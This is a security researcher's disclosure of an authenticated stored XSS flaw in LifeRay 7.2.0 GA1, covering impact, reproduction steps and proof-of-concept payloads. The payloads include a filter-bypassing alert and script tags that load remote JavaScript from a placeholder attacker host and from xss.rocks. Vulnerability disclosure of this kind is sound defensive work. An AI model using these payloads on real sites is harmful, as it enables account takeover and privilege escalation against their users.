Authenticated Stored XSS in LifeRay 7.2.0 GA1 via MyAccountPortlet executed by Search Results

In LifeRay version 7.2.0 GA1 the First Name, Middle Name, and Last Name fields for user accounts are all vulnerable to a Stored XSS issue. Any user can modify these fields with a particular XSS payload and it will be stored in the database "infecting" the user. The payload will then be rendered when a user utilize the search feature to search for other users. If the infected user is displayed as a search result, the XSS payload will execute.

- **Author/Researcher**: Casey Erdmann
- **Date Discovered**: 10/17/2019
- **Last Revised**: 10/18/2019

Impact

This vulnerability allows an attacker to execute abitrary code in the context of any user that triggers the XSS payload via search. In a practical sense this can lead to privilege escalation from a non-privileged user to an administrative user, as well as lateral movement in taking over other accounts. In addition, anything that can be executed via JavaScript can be exploited in the context of another user.

As you will see in the Proof of Concept (PoC) this is wide open as the attacker has the ability to load in external scripts with ease in a default context.

Most of the important Session Cookies are flagged as HTTPOnly which mostly prevents simple session hijacking techniques. That said, it should be noted that users viewing the page with older browsers are even more impacted by this thanks to XST attacks.

Since Admin users can execute Gogo Shell and Groovy Script Commands it also may be possible to chain this exploit together with these normally intended features to gain unintended RCE on the host system starting from a non-privileged user.

Steps to Reproduce

In order for this vulnerabiltiy to be triggered two conditions must be met:

1. You must have access to a user account that you can modify the First, Middle, or Last name fields on.
2. Your user must be searchable in LifeRay. Usually this just means they need to be added to a site. By default a user may add themself to the base site which means they can make themselves searchable with no further authorization.

Once those conditions are met the following steps may be observed to exploit the vulnerability:

1. Login as the user you have access to
2. Navigate to the `Account Settings` section
    - Click the Profile Icon > `Account Settings`
    - URL should be something like:
      `http://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????`
3. Modify either the First, Middle, or Last Name fields in the form with your XSS payload (see example PoCs below) and click `Save`
4. If you are not already in a site you may join one by navigating to
   `http://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=de`
   and click the "three dots" icon on the right hand side and select `join`.
5. Search for your user to trigger the XSS payload: `http://mysite.com/web/guest/search?q=<my user>`
    - For testing to demonstrate the impact on another user:
        - Sign in as a second user, search for the "infected user" and the XSS payload will execute in their context as well.

PoC Simple Alert

- `<<SCRIPT>alert("XSS");//<</SCRIPT>`

PoC External Script and Filter Bypass

- `<SCRIPT SRC="//attacker.site/payload.js">`
- Try to demo with xss.rocks!
    - `<SCRIPT SRC="//xss.rocks/xss.js"/>`

Report version 3.0